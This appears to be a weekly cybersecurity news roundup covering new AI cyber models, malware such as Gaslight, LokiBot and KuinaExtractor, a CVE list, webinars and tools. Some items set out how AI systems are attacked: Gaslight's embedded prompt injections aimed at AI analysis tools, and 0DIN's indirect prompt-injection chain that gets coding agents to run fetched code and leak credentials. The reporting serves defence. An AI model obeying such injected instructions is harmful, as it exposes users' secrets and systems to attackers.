  • OpenAI Previews GPT-5.6 Sol, Terra, and Luna — OpenAI officially unveiled GPT-5.6 Sol, Terra, and Luna, with Sol described as the most capable model yet for cybersecurity. The models are being released in a staggered manner with approval from the U.S. government. The release came days after the company released an improved version of its GPT‑5.5‑Cyber model to trusted defenders as part of the Daybreak initiative and launched a new project called Patch the Planet in collaboration with Trail of Bits to help secure open-source projects. OpenAI has also warned about the dual-use nature of the technology, acknowledging that the same capability that helps a red teamer find a zero-day can also assist a bad actor in exploiting one, and that it will prioritize patching jailbreak techniques against the model. In addition, it has framed the effort as getting the tools in the hands of more defenders before attackers gain the same edge. Much of the concern surrounding the frontier models stems from the fact that artificial intelligence can now identify existing bugs within codebases and work towards creating exploits for them. While the automation of cybercrime is not new, these tools undoubtedly have the potential to further lower the barrier to entry for bad actors.
  • New Gaslight macOS Malware Discovered — A newly discovered macOS malware dubbed Gaslight is designed to confuse AI-assisted malware analysis tools through embedded prompt injection strings and fake debugging data within the executable. With cybersecurity researchers using AI-powered tools to assist with malware analysis and reverse engineering, the malware attempts to gaslight such tools into thinking there is some issue, potentially causing them to abort, truncate, or refuse an analysis of the artifact. Gaslight has been attributed with high confidence to a North Korean-linked threat actor. The malware itself is a Rust binary with backdoor and information-stealing functionality, enabling the operator to gain a persistent foothold over the infected host. The findings highlight how threat actors are experimenting with anti-analysis methods designed specifically to bypass AI-assisted security platforms.
  • Turla Uses STOCKSTAY Backdoor in Ukraine Attacks — The Russian state-sponsored threat actor known as Turla has leveraged a previously undocumented .NET backdoor called STOCKSTAY in attacks targeting government and military organizations in Ukraine, and entities that have an interest in Italian foreign policy. STOCKSTAY shares significant code and functional overlaps with Kazuar, a staple implant put to use by the adversary since 2017. Suspected development activity of malware dates back to December 2022.
  • Amadey, StealC Malware Operations Disrupted in Operation Endgame — A coordinated law enforcement operation, in partnership with private sector companies, dismantled criminal infrastructure powering Amadey and StealC. According to Europol, the operation led to the disruption of 326 servers and 142 domains, the identification of more than €41 million ($47 million) in cryptocurrency linked to criminal activity, and the recovery of approximately 27 million credentials stolen from over 385k compromised systems. Amadey and StealC are sold to cybercriminals under a malware-as-a-service (MaaS) model. Microsoft said criminals use Amadey to gain an initial foothold on victim devices to deploy additional malware, such as StealC, which then steals credentials, cryptocurrency wallets, and other sensitive information that can later be sold or leveraged in follow-on attacks. The two malware families were linked to more than 140,000 infected devices during the first two weeks of May 2026 alone. That said, no arrests were announced as part of the operation.

‎️‍🔥 Trending CVEs

Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild.

Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-47729 aka Squidbleed (Squid), CVE-2026-12957 (Amazon Q Developer), CVE-2026-12569 (PTC Windchill PDMlink and PTC FlexPLM), CVE-2026-43503 aka DirtyClone, CVE-2026-46331 aka pedit COW (Linux Kernel), CVE-2026-30040, CVE-2026-30041 (FastStone Image Viewer), CVE-2026-45585 (Microsoft WinRE), CVE-2026-8461 aka PixelSmash (FFmpeg), CVE-2026-55200 (libssh2), CVE‑2026‑20971 (Samsung KNOX kernel), CVE-2026-10086, CVE-2026-10712, CVE-2026-12053 (GitLab CE and EE), CVE-2026-13028, CVE-2026-13032, CVE-2026-13033, CVE-2026-13038 (Google Chrome), CVE-2026-53605 (Reachy Mini Wireless image), CVE-2026-13136, CVE-2025-15660, CVE-2026-13135 (Synology MailPlus Server), CVE-2026-11374 (ADSelfService Plus, RecoveryManager Plus, M365 Manager Plus and ADAudit Plus), and a critical Infoblox NIOS privilege escalation vulnerability (no CVE).

🎥 Cybersecurity Webinars

  • Stop AI-Driven Cyberattacks Before They Stop Your Business → Hackers are now using AI to launch cyberattacks at machine speed. If your defenses are built for human-speed threats, you are at risk. Join this webinar to get a step-by-step blueprint to fight back. Learn exactly how to block AI-driven attacks and protect your company before a crisis hits.
  • When AI Goes Rogue: How to Secure the New Cyber Attack Surface → As companies rush to adopt AI, hackers are turning these tools into a massive liability by hijacking AI agents and leaking trade secrets. Join this urgent webinar to see exactly how attackers weaponize AI against businesses. You’ll get a practical blueprint to lock down your setups, fix risky configurations, and stop your own tech from going rogue.
  • Building at Machine Speed: How to Secure AI Software Delivery → AI tools are generating code faster than security teams can review it, introducing hidden risks into software pipelines. Join this webinar to learn how to catch vulnerabilities and govern AI risk without slowing down development. You’ll get a practical roadmap to protect your software supply chain and scale AI engineering safely.

📰 Around the Cyber World

  • China’s New Zhipu AI Reportedly Matches Claude Mythos in Vulnerability Discovery — The Wall Street Journal reported that a new model released by China’s Zhipu AI, GLM-5.2, matches the performance of Anthropic Mythos when it comes to finding vulnerabilities, narrowing the gap between top U.S. models and those developed by Chinese companies. The ability of AI systems to autonomously find security defects in software has created new urgency to efforts that entail the use of models to quickly close them before they can be exploited by bad actors. There are also worries that these models, in the wrong hands, can become potential enablers of cyber warfare. The Trump administration has called for the creation of a framework that grants the federal government the ability to evaluate AI models’ capabilities and determine which qualify as «covered frontier models,» a designation for AI systems with advanced cyber capabilities.
  • Indirect Prompt Injection in Agentic Coding Tools — Mozilla’s Zero Day Investigative Network (0DIN) characterized indirect prompt injection as a «very real and serious attack vector that can result in catastrophic damage, much of which will be irreversible.» In the case of agentic IDEs and coding agents, they can request access to various tools, which, once approved, can pave the way for code execution, file system operations, and network calls. Specifically, an attacker can obtain code execution using a seemingly harmless repository by chaining trusted setup instructions, routine error handling, and automated agent behavior. The attacker-controlled repository does not even have to contain any malicious code. Instead, it’s fetched at runtime from a DNS TXT record by framing it as an essential step during the installation phase when a developer copies the repository link and instructs the agent to get it running. «In short, agentic coding tools have access to everything they need for this: private data, including environment variables, credentials, API keys, and local configuration files,» 0DIN said. «Untrusted content, such as repositories, documentation, and error messages from recently installed packages, can inject malicious models to steal this data.»
  • New KuinaExtractor Rust Infostealer Spotted — A new Rust-based information stealer called KuinaExtractor comes fitted with capabilities to harvest web browser data, crypto wallets and credentials for services such as Roblox, Steam and Discord. Said to be in active development since December 2025, the stealer also includes a Chrome app-bound encryption (ABE) bypass. In parallel, the malware developer worked on two short-lived projects known as KuinaCookieExtractor and Zenith C2 before they were abandoned. KuinaCookieExtractor goes beyond browser cookies to include Roblox and Steam sessions, Minecraft and FileZilla logins, Telegram tdata and Discord tokens, and exfiltrates over a Discord webhook rather than Telegram.
  • New LokiBot Campaign Surfaces After a Hiatus — A new email phishing campaign has been observed delivering LokiBot via a JavaScript attachment. Once launched, the script triggers the execution of a PowerShell loader that runs a .NET injector payload that deploys the LokiBot malware. LokiBot is capable of harvesting credentials from password managers like 1Password, Enpass, and KeePass, and contacts an external server to receive and execute commands.
  • Phishing Campaign Drops Malicious Chrome Extension — Invoice-themed email phishing lures written in Italian are being used to launch JavaScript attachments masquerading as PDF documents. «The most interesting part of this infection was not the initial JavaScript. The malware installed a malicious Google Chrome extension and paired it with a Native Messaging Host,» D3 Lab said. «This combination allowed code running inside Chrome to request PowerShell commands on the Windows system.»
  • Time as an Attack Surface — New research from NCC Group has argued the need for treating time as a «first‑class attack surface,» stating clock drift, time synchronisation failures, and deliberate oscillator manipulation can be exploited to undermine cryptography, authentication, industrial automation, and safety systems. «The risk is amplified by broader technological trends,» NCC Group’s Andy Davis said. «Cloud computing, containerisation, and virtual machines abstract time away from physical hardware, placing it under the control of hypervisors and orchestration layers. At the same time, Industrial Control Systems, IoT devices, and safety-critical platforms increasingly rely on low‑cost oscillators and commodity components that are vulnerable to environmental influence and physical manipulation. Systems that once relied on isolated, deterministic timing sources are now interconnected, synchronised, and exposed.»
  • Threat actors Exploit Xiongmai DVR Flaw to Deliver Proxy SDK — Threat actors have been exploiting CVE-2024-3765, a vulnerability in Xiongmai DVR, to deploy commercial residential proxy SDKs using a Mirai botnet-derived HTTP downloader. «All DDoS and scanning capability has been stripped,» the Nokia Deepfield Emergency Response Team (ERT) said. «What remains is a minimal HTTP client and an embedded userspace ELF loader – Mirai reduced to a delivery truck.» The main stager installed following a successful compromise deploys a proxy binary called PacketSDK, which is part of the IPIDEA residential proxy network disrupted by Google earlier this year. The stager also contains a remote code execution backdoor that polls an external server for updates every 2 minutes.
  • Nation-State Targeting of Water Systems — DomainTools warned that water and wastewater infrastructure have become strategic pressure points for state and state-aligned actors from China, Iran, and Russia. «The combination of chronic underinvestment and weak baseline operational technology (OT) security makes many of these critical systems easy to compromise,» the company said. «Such intrusions can have both physical and psychological impact, and disruptions often affect civilian life, public health, and trust in government.»
  • Anthropic Accuses Alibaba of Obtaining Illicit Access to Claude — Anthropic has accused the Chinese company Alibaba of what it described as the «largest campaign to illicitly extract Claude’s capabilities.» The attacks occurred between April 22 and June 5, 2026, when «operators affiliated with Alibaba and Alibaba Qwen, Alibaba’s AI lab,» allegedly generated «more than 28.8 million exchanges with Claude through almost 25,000 fraudulent accounts,» per Anthropic. The distillation campaign targeted its capabilities, such as agentic reasoning, software engineering, and long-horizon tasks, while evading detection using obfuscation techniques and proxy networks.
  • Linux Foundation Unveils Akrites and OSERA — The Linux Foundation has announced Akrites as a coordinated effort to address and disclose vulnerabilities in critical open-source software as AI accelerates both the scale and speed of vulnerability discovery. «The initiative provides a single, trusted place to coordinate, remediate, and disclose, with a shared SIRT [Security Incident Response Team] serving as a predictable partner for maintainers rather than a flood of uncoordinated reports,» the foundation said. The initiative also plans to work with critical infrastructure operators to help deploy fixes before in-the-wild exploitation. The Linux Foundation has also announced its intent to form an Open Source Enterprise Resiliency Alliance (OSERA) that aims to strengthen the open-source components that underpin the financial services sector through a vendor-neutral, upstream-aware approach. «OSERA complements the recently announced Akrites, the cross-industry effort enabling coordinated disclosure and upstreaming,» the foundation said. «As financial-services downstream complement to Akrites, OSERA will collaborate with Akrites in the upstreaming process and, together with the Open Source Security Foundation, to represent the voice of the industry in defining remediation standards.»
  • Microsoft Extends Windows 10 Consumer Extended Security Updates by a Year — Microsoft quietly extended the Extended Security Updates (ESU) program for Windows 10 consumers by a year, letting eligible users get updates through October 12, 2027. To enroll in the consumer Windows 10 ESU program, devices need to be running Windows 10, version 22H2 Home, Professional, Pro Education, or Workstations edition and cannot be offered for devices in kiosk mode or those that are joined to an Active Directory domain or Microsoft Entra and/or enrolled in a Mobile Device Management (MDM) solution.
  • Microsoft’s Secure Boot Certificates Have Expired — In related Microsoft news, the certificates that manage UEFI Secure Boot trust – namely, Microsoft Corporation KEK CA 2011, Microsoft UEFI CA 2011, and Microsoft UEFI CA 2011 — expired on June 24 and 27 2026. A third certificate, Microsoft Windows Production PCA 2011, will expire on October 19, 2026. «Many Windows PCs manufactured since 2024 already have the updated 2023 certificates,» Microsoft said. «For the remaining devices, Microsoft is delivering new Secure Boot certificates through Windows monthly updates, with partner original equipment manufacturers (OEMs) making firmware updates available to help ensure compatibility.» Google Cloud has also released guidance on how to update Compute Engine Shielded VM instances to trust the updated Microsoft Secure Boot certificates for UEFI Secure Boot. To apply Secure Boot certificate updates for Linux on Azure virtual machines, it’s recommended to follow the actions outlined by Microsoft here. Separately, Linux users are advised to update their shims to the latest versions signed by the new key. It’s important to note that devices that haven’t received the newer 2023 certificates will continue to function normally, and standard Windows updates will continue to install. However, these devices will no longer receive new security protections for the early boot process, including updates to Windows Boot Manager, Secure Boot databases, revocation lists, or mitigations for newly discovered boot-level vulnerabilities.

  • Fake OpenAI Organization Invites Used in New Poisoned Tenant Campaign
    — Phishing emails are being sent from threat actor-controlled ChatGPT tenants, inviting recipients to join an organization with the likely goal of harvesting sensitive information shared in the AI chatbot. «The emails came from OpenAI’s legitimate notification address (noreply@tm.openai.com), passed all standard email authentication checks, and referenced our company by name,» Push Security said. «They looked exactly like a routine organizational invitation because, technically, they were one.» The development comes as threat actors are abusing AI chatbot chat sharing functionality to distribute pages containing malicious instructions, turning them into malware delivery platforms. «The attacker has used ChatGPT’s code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT’s download page that delivers a malicious executable,» Push Security noted. The activity has been codenamed LLMShare.

🔧 Cybersecurity Tools

  • Sulla → It is an open-source security tool by Praetorian that scans internal network SMB file shares to find exposed credentials and sensitive data. Operating as a fast, low-noise static binary, it maps Active Directory environments and uses multi-layered filtering with the Titus engine to perform in-memory analysis for cloud keys, passwords, and tokens. It outputs structured, real-time results to help security teams identify and remediate internal data exposure before it can be exploited.
  • Karna → It is a Web Application Firewall (WAF) module specifically engineered for the Kong Gateway to provide modern, scalable security for web applications. By integrating directly into the Kong ecosystem, it allows organizations to enforce fine-grained security policies and filter malicious traffic at the gateway layer, ensuring that protection is applied consistently across distributed services without adding significant latency.

Disclaimer: This is strictly for research and learning. It hasn’t been through a formal security audit, so don’t just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law.

Conclusion

This week, keep it simple. Break the small thing, find the forgotten access, wait for someone to say they meant to patch it.

No genius required. Just old mistakes with fresh damage. Shut the door. Check the locks.